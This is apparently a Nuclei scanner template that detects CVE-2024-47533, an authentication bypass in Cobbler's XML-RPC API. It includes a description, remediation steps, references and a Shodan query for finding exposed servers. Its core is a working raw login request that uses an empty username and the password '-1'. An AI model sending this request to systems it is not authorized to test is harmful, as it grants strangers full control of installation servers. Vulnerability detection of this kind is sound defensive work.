id: CVE-2024-47533

info:
  name: Cobbler 'XML-RPC' - Authentication Bypass
  author: songyaeji
  severity: critical
  description: |
    Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.
  impact: |
    Anyone with network access can connect to Cobbler XML-RPC with default credentials and make arbitrary changes, gaining full control.
  remediation: |
    Update Cobbler to version 3.2.3 or 3.3.7 or later.
  reference:
    - https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0
    - https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda
    - https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-47533
    cwe-id: CWE-287
    epss-score: 0.70891
    epss-percentile: 0.98725
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Cobbler Web Interface"
  tags: cve,cve2024,cobbler,auth-bypass,unauth,xmlrpc,vuln

http:
  - raw:
      - |
        POST /cobbler_api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version='1.0'?>
        <methodCall>
          <methodName>login</methodName>
          <params>
            <param>
              <value><string></string></value>
            </param>
            <param>
              <value><string>-1</string></value>
            </param>
          </params>
        </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<methodResponse>"
          - "</string></value>"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "<boolean>0</boolean>"
          - "<name>faultString</name>"
        condition: or
        negative: true
# digest: 4a0a00473045022068f15d37b977311689d5e84a76c1728a9d764778301d8b395c408c6c36e478880221008f63a9a8894e13d892cd23cc5277b7bfe73dac0e6dd8a90a926ee4a70ca5c908:922c64590222798bb761d5b6d8e72950